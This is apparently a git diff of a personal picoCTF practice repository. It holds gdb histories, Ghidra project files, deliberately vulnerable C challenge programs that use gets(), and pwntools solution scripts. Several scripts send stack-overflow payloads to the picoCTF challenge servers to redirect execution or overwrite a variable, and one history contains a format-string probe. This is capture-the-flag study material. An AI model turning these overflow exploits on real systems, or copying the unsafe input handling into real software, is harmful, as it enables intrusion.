Compare commits
19 Commits
poweranaly
...
main
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e2706a9bc4 | ||
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13815ed351 | ||
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9acdaa1eed | ||
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0fd914ffac | ||
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fe67eec9c3 | ||
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9003842333 | ||
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a3a7081d42 | ||
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18d2c8c2be | ||
| 2d01bffb2a | |||
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60df42d110 | ||
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8f04827901 | ||
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a02132a1e0 | ||
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6ac770c738 | ||
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1ecd3903b4 | ||
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ad954f2364 |
12
.envrc
Normal file
12
.envrc
Normal file
@@ -0,0 +1,12 @@
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export MAMBA_EXE='/home/maxime/.local/bin/micromamba';
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export MAMBA_ROOT_PREFIX='/home/maxime/.micromamba';
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__mamba_setup="$("$MAMBA_EXE" shell hook --shell zsh --root-prefix "$MAMBA_ROOT_PREFIX" 2> /dev/null)"
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if [ $? -eq 0 ]; then
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eval "$__mamba_setup"
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else
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alias micromamba="$MAMBA_EXE" # Fallback on help from micromamba activate
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fi
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unset __mamba_setup
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|
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micromamba activate picoCTF
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7
README.md
Normal file
7
README.md
Normal file
@@ -0,0 +1,7 @@
|
||||
# picoCTF
|
||||
|
||||
## programs used
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||||
- TrID
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- exiftool
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- aircrack-ng
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- kaitai
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@@ -1,256 +0,0 @@
|
||||
c
|
||||
c
|
||||
x/40x 0xffffbd00
|
||||
c
|
||||
c
|
||||
run
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c
|
||||
run
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c
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x/40x 0xffffbd00
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c
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run
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exit
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b *move_player
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run < out
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c
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c
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x/40x 0xffffbd00
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c
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x/40x 0xffffbd00
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disassemble main
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b *main+39
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run < out
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stack
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stack 20
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clear *main+3
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clear *main+39
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b *main+93
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run < out
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stack 20
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stack 20
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stack 40
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stack 60
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stack 80
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stack 100
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stack 200
|
||||
stack 100
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stack 110
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stack 400
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stack 1000
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stack 600
|
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stack 700
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stack 680
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stack 690
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stack 685
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stack 686
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stack 687
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stack 688
|
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stack 689
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stack 688
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x/x 0xffffdb0c
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x/x 0xffffbd0c
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continue
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c
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run < out
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x/x 0xffffbd0c
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c
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continue
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run < out
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c
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x/x 0xffffbd0c
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c
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x/x 0xffffbd0c
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disassemble main
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b *main+372
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x/x 0xffffbd0c
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c
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c
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c
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c
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||||
c
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c
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||||
c
|
||||
c
|
||||
c
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||||
c
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c
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c
|
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c
|
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c
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c
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c
|
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c
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c
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c
|
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c
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c
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c
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b
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clear 5
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exit
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disassemble main
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x/x 0xffffbd0c
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b *move_player
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run < out
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x/x 0xffffbd0c
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x/40x 0xffffbd00
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x/40x 0xffffcd00
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x/40x 0xffffbd00
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x/40x 0xffffbf00
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x/40x 0xffffbd00
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||||
x/40x 0xffffbd00
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||||
x/40x 0xffffbd00
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x/40x 0xffffc000
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x/40x 0xffffc400
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x/40x 0xffffc600
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||||
x/40x 0xffffc800
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x/40x 0xffffc700
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x/40x 0xffffc780
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||||
x/40x 0xffffbd00
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x/40x 0xffffc780
|
||||
x/x 0xffffc7ac
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x/x 0xffffbd0c
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x/40x 0xffffbd00
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exit
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b *move_player
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x/x 0xffffbd0c
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x/x 0xffffc7ac
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run < out2
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x/x 0xffffc7ac
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x/x 0xffffbd0c
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c
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||||
c
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||||
x/x 0xffffc7ac
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||||
c
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||||
x/x 0xffffc7ac
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run < out2
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||||
x/x 0xffffc7ac
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||||
x/x 0xffffbd0c
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c
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||||
x/x 0xffffc7ac
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c
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x/x 0xffffc7ac
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x/40x 0xffffbd00
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exit
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disassemble main
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disassemble move_player
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b *move_player+8
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run
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stack 20
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stack 30
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x/40x 0xffa890
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x/40x 0xffffa890
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exit
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b *move_player+8
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run
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stack 20
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||||
c
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c
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stack 20
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||||
x/40x 0xffffa890
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||||
c
|
||||
x/40x 0xffffa890
|
||||
c
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||||
x/40x 0xffffa890
|
||||
c
|
||||
x/40x 0xffffa890
|
||||
c
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||||
x/40x 0xffffa890
|
||||
c
|
||||
x/40x 0xffffa890
|
||||
c
|
||||
x/40x 0xffffa890
|
||||
c
|
||||
x/40x 0xffffa890
|
||||
c
|
||||
x/40x 0xffffa890
|
||||
c
|
||||
exit
|
||||
exit
|
||||
disassemble main
|
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q
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disassemble main
|
||||
disassemble move_
|
||||
disassemble move_player
|
||||
b *move_player+357
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run < out
|
||||
c
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||||
run < out
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||||
c
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||||
exit
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b *move_player+357
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run < out3
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||||
c
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||||
stack 20
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x/40x 0xffffbce0
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||||
x/40x 0xffffbcf0
|
||||
x/40x 0xffffbe00
|
||||
x/40x 0xffffbd0
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||||
x/40x 0xffffbd00
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||||
x/40x 0xffffbd2f
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||||
x/40x 0xffffbd00
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||||
x/40x 0xffffbc00
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||||
x/40x 0xffffbcd0
|
||||
stack 30
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||||
stack 800
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||||
stack 700
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||||
stack 720
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stack 700
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||||
stack 710
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||||
stack 720
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||||
disassemble main
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stack 40
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stack -1 40
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||||
stack 40 -1
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||||
stack 40 -10
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||||
stack 40
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||||
stack 40
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||||
x/40x 0xffffbcd0
|
||||
x/40x 0xffffbce0
|
||||
c
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||||
c
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||||
c
|
||||
c
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||||
c
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||||
run < out3
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||||
c
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||||
run
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||||
c
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||||
c
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||||
c
|
||||
c
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||||
c
|
||||
c
|
||||
c
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||||
exit
|
||||
disassemble move_player
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||||
b *move_player+357
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run < out2
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||||
c
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||||
stack 40
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||||
x/40x 0xffffbce0
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||||
c
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||||
x/40x 0xffffbce0
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||||
run < out2
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||||
c
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||||
x/40x 0xffffbce0
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||||
c
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||||
x/40x 0xffffbce0
|
||||
c
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||||
x/40x 0xffffbce0
|
||||
c
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||||
x/40x 0xffffbce0
|
||||
run < out2
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||||
c
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||||
x/40x 0xffffbce0
|
||||
c
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||||
c
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||||
exit
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||||
disassemble main
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||||
b *main+378
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||||
run < args
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||||
run < args
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||||
run < args
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||||
tic
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||||
exit
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@@ -1,2 +0,0 @@
|
||||
aaaaaaaawwwwspaaaaaaaawwwwspaaaaaaaawwwwspaaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalpwsaaaaaaaawwwwswws
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||||
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||||
@@ -1,9 +0,0 @@
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#Ghidra Lock File
|
||||
#Mon Nov 18 09:14:36 CET 2024
|
||||
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
|
||||
Hostname=theon-1
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||||
OS\ Architecture=amd64
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||||
OS\ Name=Linux
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||||
OS\ Version=6.11.6-arch1-1
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||||
Timestamp=11/18/24, 9\:14\u202FAM
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Username=maxime
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||||
@@ -1,11 +0,0 @@
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||||
<?xml version="1.0" encoding="UTF-8"?>
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||||
<FILE_INFO>
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||||
<BASIC_INFO>
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||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
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||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="ac10290b32f38007603038077" />
|
||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
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||||
<STATE NAME="NAME" TYPE="string" VALUE="game" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,7 +0,0 @@
|
||||
VERSION=1
|
||||
/
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||||
00000001:game:ac10290b32f38007603038077
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||||
/New Traces
|
||||
00000002:Emulate game:ac10290839926930849280384
|
||||
NEXT-ID:3
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
@@ -1,5 +0,0 @@
|
||||
VERSION=1
|
||||
/
|
||||
00000001:game:ac10290b32f38007603038077
|
||||
NEXT-ID:3
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
@@ -1,2 +0,0 @@
|
||||
IDEL:/New Traces/Emulate game
|
||||
FDEL:/New Traces
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="OWNER" TYPE="string" VALUE="maxime" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
@@ -1,15 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<PROJECT>
|
||||
<PROJECT_DATA_XML_NAME NAME="DISPLAY_DATA">
|
||||
<SAVE_STATE>
|
||||
<ARRAY NAME="EXPANDED_PATHS" TYPE="string">
|
||||
<A VALUE="babygame03:" />
|
||||
</ARRAY>
|
||||
<STATE NAME="SHOW_TABLE" TYPE="boolean" VALUE="false" />
|
||||
</SAVE_STATE>
|
||||
</PROJECT_DATA_XML_NAME>
|
||||
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
|
||||
<WORKSPACE NAME="Workspace" ACTIVE="true" />
|
||||
</TOOL_MANAGER>
|
||||
</PROJECT>
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
|
||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="ac10290b31146457713312322" />
|
||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||
<STATE NAME="NAME" TYPE="string" VALUE="udf_ac10290b32f38007603038077" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,4 +0,0 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:1
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
@@ -1,5 +0,0 @@
|
||||
VERSION=1
|
||||
/
|
||||
00000001:udf_ac10290b32f38007603038077:ac10290b31146457713312322
|
||||
NEXT-ID:2
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
@@ -1,2 +0,0 @@
|
||||
IADD:00000001:/udf_ac10290b32f38007603038077
|
||||
IDSET:/udf_ac10290b32f38007603038077:ac10290b31146457713312322
|
||||
@@ -1,4 +0,0 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:0
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
@@ -1,4 +0,0 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:0
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
@@ -1 +0,0 @@
|
||||
flag{test}
|
||||
BIN
babygame03/game
BIN
babygame03/game
Binary file not shown.
@@ -1,10 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
a = 'aaaa'+'a'*4+'wwwws'
|
||||
b = 'a'*47+'lp'+'ws'
|
||||
|
||||
s = a+'p' +a+'p' +a+'p' +a +b +a +'wws\n'
|
||||
|
||||
print(s)
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
aaaaaaaawwwws
|
||||
@@ -1 +0,0 @@
|
||||
aaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalpws
|
||||
@@ -1 +0,0 @@
|
||||
aaaaaaaawwwws
|
||||
@@ -1,16 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
s = b'aaaa'+b'a'*4+b'wwwws'
|
||||
|
||||
conn = process(["./game"])
|
||||
for i in range(3):
|
||||
conn.sendline(s)
|
||||
conn.sendline(b'p')
|
||||
conn.sendline(s)
|
||||
conn.sendline(b'a'*47+b'l\x70'+b'ws')
|
||||
conn.sendline(s)
|
||||
conn.sendline(b'wws')
|
||||
conn.sendline(b'a'*47+b'l\xfe'+b'w')
|
||||
conn.interactive()
|
||||
|
||||
195
basic_file_exploit/program-redacted.c
Normal file
195
basic_file_exploit/program-redacted.c
Normal file
@@ -0,0 +1,195 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <ctype.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
|
||||
#define WAIT 60
|
||||
|
||||
|
||||
static const char* flag = "[REDACTED]";
|
||||
|
||||
static char data[10][100];
|
||||
static int input_lengths[10];
|
||||
static int inputs = 0;
|
||||
|
||||
|
||||
|
||||
int tgetinput(char *input, unsigned int l)
|
||||
{
|
||||
fd_set input_set;
|
||||
struct timeval timeout;
|
||||
int ready_for_reading = 0;
|
||||
int read_bytes = 0;
|
||||
|
||||
if( l <= 0 )
|
||||
{
|
||||
printf("'l' for tgetinput must be greater than 0\n");
|
||||
return -2;
|
||||
}
|
||||
|
||||
|
||||
/* Empty the FD Set */
|
||||
FD_ZERO(&input_set );
|
||||
/* Listen to the input descriptor */
|
||||
FD_SET(STDIN_FILENO, &input_set);
|
||||
|
||||
/* Waiting for some seconds */
|
||||
timeout.tv_sec = WAIT; // WAIT seconds
|
||||
timeout.tv_usec = 0; // 0 milliseconds
|
||||
|
||||
/* Listening for input stream for any activity */
|
||||
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
|
||||
/* Here, first parameter is number of FDs in the set,
|
||||
* second is our FD set for reading,
|
||||
* third is the FD set in which any write activity needs to updated,
|
||||
* which is not required in this case.
|
||||
* Fourth is timeout
|
||||
*/
|
||||
|
||||
if (ready_for_reading == -1) {
|
||||
/* Some error has occured in input */
|
||||
printf("Unable to read your input\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (ready_for_reading) {
|
||||
read_bytes = read(0, input, l-1);
|
||||
if(input[read_bytes-1]=='\n'){
|
||||
--read_bytes;
|
||||
input[read_bytes]='\0';
|
||||
}
|
||||
if(read_bytes==0){
|
||||
printf("No data given.\n");
|
||||
return -4;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
} else {
|
||||
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
|
||||
return -3;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static void data_write() {
|
||||
char input[100];
|
||||
char len[4];
|
||||
long length;
|
||||
int r;
|
||||
|
||||
printf("Please enter your data:\n");
|
||||
r = tgetinput(input, 100);
|
||||
// Timeout on user input
|
||||
if(r == -3)
|
||||
{
|
||||
printf("Goodbye!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
while (true) {
|
||||
printf("Please enter the length of your data:\n");
|
||||
r = tgetinput(len, 4);
|
||||
// Timeout on user input
|
||||
if(r == -3)
|
||||
{
|
||||
printf("Goodbye!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((length = strtol(len, NULL, 10)) == 0) {
|
||||
puts("Please put in a valid length");
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (inputs > 10) {
|
||||
inputs = 0;
|
||||
}
|
||||
|
||||
strcpy(data[inputs], input);
|
||||
input_lengths[inputs] = length;
|
||||
|
||||
printf("Your entry number is: %d\n", inputs + 1);
|
||||
inputs++;
|
||||
}
|
||||
|
||||
|
||||
static void data_read() {
|
||||
char entry[4];
|
||||
long entry_number;
|
||||
char output[100];
|
||||
int r;
|
||||
|
||||
memset(output, '\0', 100);
|
||||
|
||||
printf("Please enter the entry number of your data:\n");
|
||||
r = tgetinput(entry, 4);
|
||||
// Timeout on user input
|
||||
if(r == -3)
|
||||
{
|
||||
printf("Goodbye!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
|
||||
puts(flag);
|
||||
fseek(stdin, 0, SEEK_END);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
entry_number--;
|
||||
strncpy(output, data[entry_number], input_lengths[entry_number]);
|
||||
puts(output);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
char input[3] = {'\0'};
|
||||
long command;
|
||||
int r;
|
||||
|
||||
puts("Hi, welcome to my echo chamber!");
|
||||
puts("Type '1' to enter a phrase into our database");
|
||||
puts("Type '2' to echo a phrase in our database");
|
||||
puts("Type '3' to exit the program");
|
||||
|
||||
while (true) {
|
||||
r = tgetinput(input, 3);
|
||||
// Timeout on user input
|
||||
if(r == -3)
|
||||
{
|
||||
printf("Goodbye!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((command = strtol(input, NULL, 10)) == 0) {
|
||||
puts("Please put in a valid number");
|
||||
} else if (command == 1) {
|
||||
data_write();
|
||||
puts("Write successful, would you like to do anything else?");
|
||||
} else if (command == 2) {
|
||||
if (inputs == 0) {
|
||||
puts("No data yet");
|
||||
continue;
|
||||
}
|
||||
data_read();
|
||||
puts("Read successful, would you like to do anything else?");
|
||||
} else if (command == 3) {
|
||||
return 0;
|
||||
} else {
|
||||
puts("Please type either 1, 2 or 3");
|
||||
puts("Maybe breaking boundaries elsewhere will be helpful");
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
176
buffer_overflow_2/.gdb_history
Normal file
176
buffer_overflow_2/.gdb_history
Normal file
@@ -0,0 +1,176 @@
|
||||
r
|
||||
exit
|
||||
exit
|
||||
disassemble vuln
|
||||
b *vuln+44
|
||||
c
|
||||
c
|
||||
exit
|
||||
b *vuln+44
|
||||
c
|
||||
stackf
|
||||
disassemble vuln
|
||||
b *vuln+29
|
||||
exit
|
||||
b *vuln+29
|
||||
c
|
||||
b *vuln+29
|
||||
continue
|
||||
disassemble vuln
|
||||
b *vuln+44
|
||||
c
|
||||
stackf
|
||||
hexdump
|
||||
hexdump
|
||||
hexdump help
|
||||
hexdump $sp 20
|
||||
hexdump $sp 20
|
||||
hexdump $sp 100
|
||||
hexdump $sp 120
|
||||
hexdump $sp 140
|
||||
hexdump $sp 160
|
||||
c
|
||||
c
|
||||
b *vuln+44
|
||||
c
|
||||
stackf
|
||||
disassemble win
|
||||
b *win
|
||||
c
|
||||
stackf
|
||||
disassemble win
|
||||
b *win+11
|
||||
c
|
||||
stackf
|
||||
c
|
||||
b *win+11
|
||||
c
|
||||
c
|
||||
exit
|
||||
b *win+11
|
||||
c
|
||||
stackf
|
||||
nexti
|
||||
exit
|
||||
disassemble vuln
|
||||
b *vuln+75
|
||||
c
|
||||
disassemble vuln
|
||||
b *vuln+57
|
||||
c
|
||||
nexti
|
||||
stackf
|
||||
disassemble vuln
|
||||
disassemble win
|
||||
hexdump $ebp+0x08
|
||||
stackf
|
||||
c
|
||||
disassemble win
|
||||
b *win+118
|
||||
c
|
||||
c
|
||||
exit
|
||||
b *win+118
|
||||
c
|
||||
b *vuln+57
|
||||
c
|
||||
stackf
|
||||
nexti
|
||||
stackf
|
||||
disassemble win
|
||||
b *win+16
|
||||
c
|
||||
stackf
|
||||
disassemble win
|
||||
stackf
|
||||
hexdump $sp 100
|
||||
hexdump $sp 200
|
||||
c
|
||||
c
|
||||
b *win+16
|
||||
c
|
||||
hexdump $sp 200
|
||||
stackf
|
||||
c
|
||||
c
|
||||
c
|
||||
exit
|
||||
c
|
||||
stackf
|
||||
disassemble win
|
||||
b *win+7
|
||||
exit
|
||||
b *win+7
|
||||
c
|
||||
stackf
|
||||
hexdump $sp 200
|
||||
c
|
||||
exit
|
||||
b *win+7
|
||||
c
|
||||
stackf
|
||||
hexdump $sp 200
|
||||
disassemble *main
|
||||
exit
|
||||
b *win+7
|
||||
c
|
||||
stackf
|
||||
hexdump $sp 200
|
||||
disassemble *win
|
||||
nexti
|
||||
disassemble *win
|
||||
nexti
|
||||
disassemble *win
|
||||
nexti
|
||||
disassemble *win
|
||||
hexdump $sp 200
|
||||
nexti
|
||||
hexdump $sp 200
|
||||
c
|
||||
c
|
||||
exit
|
||||
disassemble *win
|
||||
b *win+118
|
||||
c
|
||||
stackf
|
||||
hexdump $sp 200
|
||||
disassemble *win
|
||||
b *win+118
|
||||
c
|
||||
hexdump $sp 200
|
||||
disassemble *win
|
||||
hexdump $ebp
|
||||
b *win+118
|
||||
c
|
||||
disassemble *win
|
||||
stackf
|
||||
c
|
||||
c
|
||||
exit
|
||||
b *win+118
|
||||
c
|
||||
stackf
|
||||
disassemble win
|
||||
hexdump $ebp
|
||||
hexdump $ebp+8
|
||||
nexti
|
||||
nexti
|
||||
stackf
|
||||
b *win+118
|
||||
c
|
||||
nexti
|
||||
nexti
|
||||
hexdump $ebp
|
||||
hexdump $ebp+8
|
||||
hexdump $ebp+12
|
||||
c
|
||||
b *win+118
|
||||
c
|
||||
stackf
|
||||
disassemble win
|
||||
b *win+143
|
||||
c
|
||||
disassemble win
|
||||
nexti
|
||||
c
|
||||
exit
|
||||
1
buffer_overflow_2/flag.txt
Normal file
1
buffer_overflow_2/flag.txt
Normal file
@@ -0,0 +1 @@
|
||||
{test}
|
||||
24
buffer_overflow_2/sol.py
Executable file
24
buffer_overflow_2/sol.py
Executable file
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
context.terminal = "kitty"
|
||||
|
||||
win_address = 0x08049296
|
||||
|
||||
buffer_base = 0xfffe422c
|
||||
ret_location = 0xfffe429c
|
||||
ret_offset = ret_location - buffer_base
|
||||
|
||||
ebp_offset = 112
|
||||
arg1 = 0xCAFEF00D
|
||||
arg2 = 0xF00DF00D
|
||||
|
||||
conn = remote("saturn.picoctf.net", 56706)
|
||||
#conn = process("./vuln")
|
||||
#attach(conn)
|
||||
|
||||
conn.recvline()
|
||||
conn.writeline(flat({ebp_offset+0x8:arg1, ebp_offset+0xc:arg2, ret_offset:win_address}, word_size=32))
|
||||
conn.recvline()
|
||||
rest = conn.recvuntil(b'}')
|
||||
log.info(f"got {rest}")
|
||||
|
||||
BIN
buffer_overflow_2/vuln
Executable file
BIN
buffer_overflow_2/vuln
Executable file
Binary file not shown.
44
buffer_overflow_2/vuln.c
Normal file
44
buffer_overflow_2/vuln.c
Normal file
@@ -0,0 +1,44 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#define BUFSIZE 100
|
||||
#define FLAGSIZE 64
|
||||
|
||||
void win(unsigned int arg1, unsigned int arg2) {
|
||||
char buf[FLAGSIZE];
|
||||
FILE *f = fopen("flag.txt","r");
|
||||
if (f == NULL) {
|
||||
printf("%s %s", "Please create 'flag.txt' in this directory with your",
|
||||
"own debugging flag.\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fgets(buf,FLAGSIZE,f);
|
||||
if (arg1 != 0xCAFEF00D)
|
||||
return;
|
||||
if (arg2 != 0xF00DF00D)
|
||||
return;
|
||||
printf(buf);
|
||||
}
|
||||
|
||||
void vuln(){
|
||||
char buf[BUFSIZE];
|
||||
gets(buf);
|
||||
puts(buf);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv){
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
gid_t gid = getegid();
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
puts("Please enter your string: ");
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
|
||||
BIN
clutter_overflow/chall
Executable file
BIN
clutter_overflow/chall
Executable file
Binary file not shown.
54
clutter_overflow/chall.c
Normal file
54
clutter_overflow/chall.c
Normal file
@@ -0,0 +1,54 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define SIZE 0x100
|
||||
#define GOAL 0xdeadbeef
|
||||
|
||||
const char* HEADER =
|
||||
" ______________________________________________________________________\n"
|
||||
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
|
||||
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
|
||||
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
|
||||
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
|
||||
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
|
||||
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
|
||||
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
|
||||
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
|
||||
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
|
||||
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
|
||||
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
|
||||
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
|
||||
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
|
||||
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
|
||||
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
|
||||
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
|
||||
|
||||
int main(void)
|
||||
{
|
||||
long code = 0;
|
||||
char clutter[SIZE];
|
||||
|
||||
setbuf(stdout, NULL);
|
||||
setbuf(stdin, NULL);
|
||||
setbuf(stderr, NULL);
|
||||
|
||||
puts(HEADER);
|
||||
puts("My room is so cluttered...");
|
||||
puts("What do you see?");
|
||||
|
||||
gets(clutter);
|
||||
|
||||
|
||||
if (code == GOAL) {
|
||||
printf("code == 0x%llx: how did that happen??\n", GOAL);
|
||||
puts("take a flag for your troubles");
|
||||
system("cat flag.txt");
|
||||
} else {
|
||||
printf("code == 0x%llx\n", code);
|
||||
printf("code != 0x%llx :(\n", GOAL);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
55
clutter_overflow/sol.py
Executable file
55
clutter_overflow/sol.py
Executable file
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
def get_conn():
|
||||
#return process("./chall")
|
||||
return remote("mars.picoctf.net", 31890)
|
||||
|
||||
def try_memory_offset(offset):
|
||||
cycle = cyclic(length=offset, n=8)
|
||||
|
||||
conn = get_conn()
|
||||
|
||||
conn.recvuntil(b"see?")
|
||||
conn.recvline()
|
||||
|
||||
conn.sendline(cycle)
|
||||
conn.recvuntil(b"== ")
|
||||
result = conn.recvline(keepends=False)
|
||||
|
||||
conn.close()
|
||||
|
||||
return result
|
||||
|
||||
base = 0x100
|
||||
exp = 0
|
||||
p = log.progress("searching for variable offset")
|
||||
while True:
|
||||
offset = base + 2**exp
|
||||
p.status(f"trying offset {offset}")
|
||||
try:
|
||||
result = try_memory_offset(offset)
|
||||
except:
|
||||
base = base + 2**(exp-1)
|
||||
exp = 0
|
||||
continue
|
||||
if result != b"0x0":
|
||||
next_result = 0
|
||||
i = 0
|
||||
while result != next_result:
|
||||
i += 1
|
||||
result = next_result
|
||||
next_result = try_memory_offset(offset+i)
|
||||
offset = cyclic_find(int(result, 16), n=8)
|
||||
p.success(f"found result {unhex(result[2:])} at offset {offset}")
|
||||
break
|
||||
exp += 1
|
||||
|
||||
conn = get_conn()
|
||||
|
||||
conn.recvuntil(b"see?")
|
||||
conn.recvline()
|
||||
|
||||
conn.sendline(b"a"*offset + p64(0xdeadbeef))
|
||||
conn.interactive()
|
||||
|
||||
242
echo_valley/.gdb_history
Normal file
242
echo_valley/.gdb_history
Normal file
@@ -0,0 +1,242 @@
|
||||
disassemble main
|
||||
disassemble echo_valley
|
||||
b *echo_valley+218
|
||||
r
|
||||
r
|
||||
r
|
||||
r
|
||||
stackf
|
||||
AAAA.%p.%p.%p.%p.%p.%p
|
||||
r
|
||||
nexti
|
||||
r
|
||||
stackf
|
||||
nexti
|
||||
r
|
||||
stepi
|
||||
stackf
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
next
|
||||
nextret
|
||||
next
|
||||
r
|
||||
